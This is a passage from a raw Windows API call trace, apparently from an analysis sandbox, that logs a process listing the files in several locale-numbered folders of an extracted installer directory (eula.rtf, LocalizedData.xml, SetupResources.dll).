lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0046.829] FindClose (in: hFindFile=0xf9540 | out: hFindFile=0xf9540) returned 1 [0046.829] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0046.829] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1049", cAlternateFileName="")) returned 1 [0046.830] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xf9540 [0046.830] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.830] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0046.830] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0046.830] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0046.830] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0046.830] FindClose (in: hFindFile=0xf9540 | out: hFindFile=0xf9540) returned 1 [0046.830] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0046.831] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1053", cAlternateFileName="")) returned 1 [0046.831] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xf9540 [0046.832] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.832] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0046.832] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0046.832] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0046.832] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0046.833] FindClose (in: hFindFile=0xf9540 | out: hFindFile=0xf9540) returned 1 [0046.833] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0046.833] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1055", cAlternateFileName="")) returned 1 [0046.833] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xf9540 [0046.834] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.834] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0046.834] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0046.834] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0046.834] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0046.834] FindClose (in: hFindFile=0xf9540 | out: hFindFile=0xf9540) returned 1 [0046.834] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0046.835] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="2052", cAlternateFileName="")) returned 1 [0046.835] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xf9540 [0046.835] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.835] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0046.835] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0046.835] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0046.836] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0046.836] FindClose (in: hFindFile=0xf9540 | out: hFindFile=0xf9540) returned 1 [0046.836] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0046.836] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="2070", cAlternateFileName="")) returned 1 [0046.836] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xf9540 [0046.836] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.837] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0046.837] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0046.837] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0046.837] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0046.837] FindClose (in: hFindFile=0xf9540 | out: hFindFile=0xf9540) returned 1 [0046.838] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0046.839] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="3076", cAlternateFileName="")) returned 1 [0046.839] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xf9540 [0046.839] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.839] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0046.839] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0046.839] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0046.839] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0046.839] FindClose (in: hFindFile=0xf9540 | out: hFindFile=0xf9540) returned 1 [0046.840] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0046.840] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="3082", cAlternateFileName="")) returned 1 [0046.840] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, 